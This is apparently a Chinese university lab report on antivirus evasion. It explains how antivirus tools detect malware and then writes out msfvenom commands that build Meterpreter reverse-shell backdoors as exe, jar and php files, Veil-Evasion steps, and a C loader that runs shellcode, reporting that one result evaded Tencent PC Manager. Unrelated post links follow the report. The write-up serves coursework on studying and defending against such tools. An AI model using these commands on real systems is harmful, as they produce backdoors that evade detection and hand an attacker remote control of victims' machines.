20164322韩玉婷 -----EXP3 免杀原理与实践
基础问题回答
1、杀软是如何检测出恶意代码的?
(1)基于特征码的检测
特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串。如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码。
优点:检测效率高、能精确检测恶意软件类型和具体名称。
缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。
(2)启发式恶意软件检测
一般在缺乏精确判定依据时,根据些片面特征去推断是否为恶意软件,比如如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那就把它当成一个恶意软件。
优点:可以检测0-day恶意软件(0day是反盗版的打击对象,指在安全补丁发布前被了解和掌握的漏洞信息),具有一定通用性
缺点:实时监控系统行为,开销稍多,没有基于特征码的精确度高
(3)基于行为的恶意软件检测
基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
优点:可发现未知病毒、可相当准确地预报未知的多数病毒。
缺点:可能误报、不能识别病毒名称、实现时有一定难度。
2、免杀是做什么?
即反杀毒技术,是一种能使病毒木马避免被杀毒软件查杀的技术。
3、免杀的基本方法有哪些?
1)变形特征码:
- 只有EXE:
- 加壳:压缩壳 加密壳
- 有shellcode:有源代码:
- encode编码、payload重新编译
- 翻译成其他语言
(2)改变明目张胆的行为:
改变通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
改变操作模式 - 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
1. 实践内容
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.1.1 使用msf生成了后门程序,使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
扫描结果如下图 :
可以看出不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。
一次编码使用命令: -e 选择编码器,
-b
是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符- 十次编码使用命令:
-i
设置迭代次数msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.208.129 LPORT= -f exe > met-encoded10.exe
将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:
可见多次编码对免杀没有太大的效果.
1.1.2. msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 x> sxx_backdoor_java.jar
生成文件如下所示:
使用Virscan这两个网站对生成的后门程序进行扫描结果如下:
msfvenom生成jar文件没有发现病毒,我觉得很神奇。我也不知道为什么。。。。
3. msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT= x> 20165318_backdoor.php
生成文件如下所示:
扫面结果如下图:
同样,msfvenom生成php文件 也不报毒。
4. 使用veil-evasion生成后门程序及检测
安装veil(参考学姐的)
输入veil
指令;
用use evasion
命令进入Evil-Evasion;
输入命令use c/meterpreter/rev_tcp.py
进入配置界面,如下图;
设置反弹连接IP,命令为:
set LHOST 192.168.33.132
,注意此处的IP是KaliIP;设置端口,命令为:
set LPORT 4322
输入generate
生成文件,接着输入你想要playload的名字:veil_c_4322
如上图所示,保存路径为
/var/lib/veil/output/compiled/veil_c_4322.exe
检测一下:
5. 半手工注入Shellcode并执行
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.33.132 LPORT= -f c
用c语言生成一段shellcode;
- 创建一个文件hyt111
.exe
,然后将unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
扫描可执行文件结果如下:
使用压缩壳(UPX)
给之前的hyt.exe加个壳得到sxx_upxed.exe:
对该可执行文件进行扫描,结果如下:
依然会被查杀。。。。
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
通过组合应用各种技术实现恶意代码免杀
- 通过加密壳,压缩壳:
- 任务成功截图:
发现电脑管家并没有查杀到该可执行文件。。。。免杀成功!
(首先用msf生成可执行后门程序,再使用加密壳、压缩壳实现了免杀。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
注意:由于换了网络,IP地址会发生变化,所有的程序都需要重新生成
- 免杀方法:先用msfvenom生成shellcode,再用C语言编译一个c文件,再把c文件编译成exe。
实验环境:腾讯电脑管家13.3.20237.212.
2.实践总结与体会
2.1实验总结
从实验中知道了还是不能太依赖杀软。加壳基本上没什么用,使用veil-evasion将payload重新编译还可以,通过本次实验还是觉得360杀毒软件比较厉害。
2.2开启杀软能绝对防止电脑中恶意代码吗?
不能绝对防止电脑中恶意代码,但是大部分还是可以被查杀。
20164322韩玉婷 -----EXP3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- java算法03 - 常用的8种排序算法
Java常用的八种排序算法: 插入排序 - 直接插入排序 每次将待排序的记录按照关键字的大小,插入到前面已经排好序的记录的适当位置.直到全部记录插入完成. 代码实现 /** * 直接插入排序 O(n^ ...
- 第2次作业 -- 熟悉 JUnit 测试
2.1 Mooctest 使用心得 Mooctest很方便,可以即时测评自己写的测试代码,获得覆盖率和报告,不需要自己安装配置环境 而且安装配置插件的环境也很简单,可以专注于测试本身 2.2 Juni ...
- 19.Scharr滤波器
//Scharr void Test_Scharr() { Mat grad_x,grad_y; Mat abs_grad_x,abs_grad_y,dst; g_srcImage=imread(&q ...
- jQuery dataTables 列不对齐的原因
如果把 jQuery dataTables 用在初始化时为隐藏的区域中,会发现表头和内容的列是不对齐的. 解决方案: 如果是折叠的,可以加上: $('#myCollapsible').on('show ...
- Ruby中方法的设计理念
Ruby中的方法命名遵从与局部变量相同的规则和约定.这是一种设计理念:方法并不因其自身作为方法而被人关注,而是简单地作为提供值的表达式融入到程序的结构中.
- 语言模型(N-Gram)
问题描述:由于公司业务产品中,需要用户自己填写公司名称,而这个公司名称存在大量的乱填现象,因此需要对其做一些归一化的问题.在这基础上,能延伸出一个预测用户填写的公司名是否有效的模型出来. 目标:问题提 ...
- Linux服务器管理神器-IPython
系统管理员的首选,一个很智能的交互式解释器. 一.特性: 1)magic函数:内置了很多函数用来实现各种特性. 2)Tab补全:可以有效地补齐Python语言的模块.方法和类等. 3)源码编辑:可以直 ...
- python模块之_正则 re_configparser_logging_hashlib
正则表达式的内容放在最下面了 configparser 模块: #!/usr/bin/env python # coding:utf-8 import configparser # 专门用于操作配置文 ...
- FireFox 插件xpi文件签名2
上一篇https://www.cnblogs.com/nightnine/p/6140676.html 提交到官方网站上的签名,官方已经拒绝了 于是手动自己签名 官方文档:https://develo ...
- 三星Galaxy S8 刷机经验记录
这段时间用上了三星S8,由于原生系统太耗电,所以萌生了root的想法.写这篇博客记录下这段时间的各种尝试. Root过程说明: 友情提示,道路千万条,安全第一条.开始捣鼓手机之前请一定准备好官方的救砖 ...